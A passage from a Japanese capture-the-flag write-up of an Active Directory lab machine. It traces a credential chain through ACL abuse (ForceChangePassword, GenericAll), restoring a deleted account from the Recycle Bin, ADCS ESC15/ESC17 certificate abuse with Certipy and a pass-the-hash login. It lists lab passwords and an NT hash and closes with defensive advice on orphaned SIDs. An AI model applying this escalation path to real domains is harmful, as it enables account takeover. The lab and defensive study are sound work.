samのForceChangePassword。 - 可能にしたこと:
samのパスワードリセット。
- 入手元:
-
sam / HappyPwn2026!- 入手元:
ansible_dev$のForceChangePasswordにより設定。 - 初回使用:
johnの owner 変更とGenericAll付与。 - 可能にしたこと:
johnのパスワードリセット。
- 入手元:
-
john / HappyPwn3030!- 入手元:
samがjohnにGenericAllを得た後に設定。 - 初回使用: WinRM ログイン。
- 可能にしたこと: user flag 取得、
OU=ADCSと Deleted Objects の調査、cert_admin復元。
- 入手元:
-
cert_admin / HappyPwn4000!- 入手元:
johnのOU=ADCSに対するGenericAllが復元後cert_adminに継承され、パスワードリセットできた。 - 初回使用:
certipy findとcertipy req。 - 可能にしたこと:
WebServerテンプレートの ESC15/ESC17 経由でAdministrator証明書を要求。
- 入手元:
-
Administrator NT hash- 値:
f61db423bebe3328d33af26741afe5fc - 入手元:
administrator.pfxをcertipy authし、PKINIT 後に NT hash を取得。 - 初回使用: WinRM pass-the-hash。
- 可能にしたこと:
tombwatcher\administratorとして root flag 取得。
- 値:
-
Flags
C:\Users\john\Desktop\user.txt:[REDACTED]C:\Users\Administrator\Desktop\root.txt:[REDACTED]
-
Certificate artifacts
cert_admin.pfx:WebServerテンプレートからCertificate Request Agentapplication policy を指定して取得した証明書と秘密鍵。administrator.pfx:cert_admin.pfxを使い、UserテンプレートでTOMBWATCHER\Administratorの代理要求により取得した証明書と秘密鍵。administrator.ccache:administrator.pfxから Certipy が取得した Kerberos credential cache。
Required Knowledge
Section titled “Required Knowledge”- AD ポート構成から DC と判断する見方。
- Kerberos 利用時の時刻同期。
- BloodHound/RustHound の ACL エッジを、実際の LDAP/AD オブジェクト操作に落とす考え方。
WriteSPNからの Kerberoasting。AddSelf、ReadGMSAPassword、ForceChangePassword、WriteOwner、GenericAllの意味と悪用順序。- AD Recycle Bin の
isDeleted、isRecycled、lastKnownParent、msDS-LastKnownRDNの読み方。 - 削除済みオブジェクトの SID が、別オブジェクトの ACL に残っているケースの調査。
- ADCS テンプレート ACL、
Certificate-Enrollmentextended right、ESC15/ESC17 の読み方。 - Certipy の
req、auth、-application-policies、-pfx、-on-behalf-ofの使い分け。 - 証明書に UPN/SID が入っているか確認してから認証へ進む習慣。
Final Thought
Section titled “Final Thought”このボックスの要点は、BloodHound の経路を「ツールの指示」としてではなく、各 AD オブジェクトの ACL と状態変化として理解することだった。特に system 側では、OU=ADCS の GenericAll を GPO 編集と誤読せず、空の OU から Deleted Objects に発想を切り替える必要があった。
cert_admin 復元の判断も、名前や membership ではなく SID の参照先を見るのが決定打だった。削除済みオブジェクトの SID が証明書テンプレート ACL に残っている、という発想は ADCS 系の問題で再利用しやすい。最後の Certipy でも、証明書が発行されたことだけでは不十分で、認証に使える UPN と SID が入っているかを出力で確認することが重要だった。
防御側の観点でも、この経路は重要な示唆がある。アカウントを削除しても、その SID が他の ACL に残り続ける場合がある。AD Recycle Bin で復元されると、その SID に紐づく権限も再び有効になる。さらに、OU への委任権限が削除済みオブジェクトの復元とパスワードリセットに結びつくと、証明書テンプレート上の孤立 SID がそのまま権限復活の入口になる。AD CS の ACL 監査と通常の AD ACL 監査は分離して見られがちだが、実際には SID という同じ識別子でつながっている。
したがって、アカウント削除時にはユーザーを消すだけでは足りない。その SID がグループ、OU、GPO、証明書テンプレート、CA 権限などの ACL に残っていないかを検索し、不要な ACE を削除する必要がある。今回の Box を一言で表すなら、単なる AD CS Box ではなく、AD オブジェクトのライフサイクルと SID ベースの権限管理を、BloodHound から証明書まで一貫して学べる Box だった。

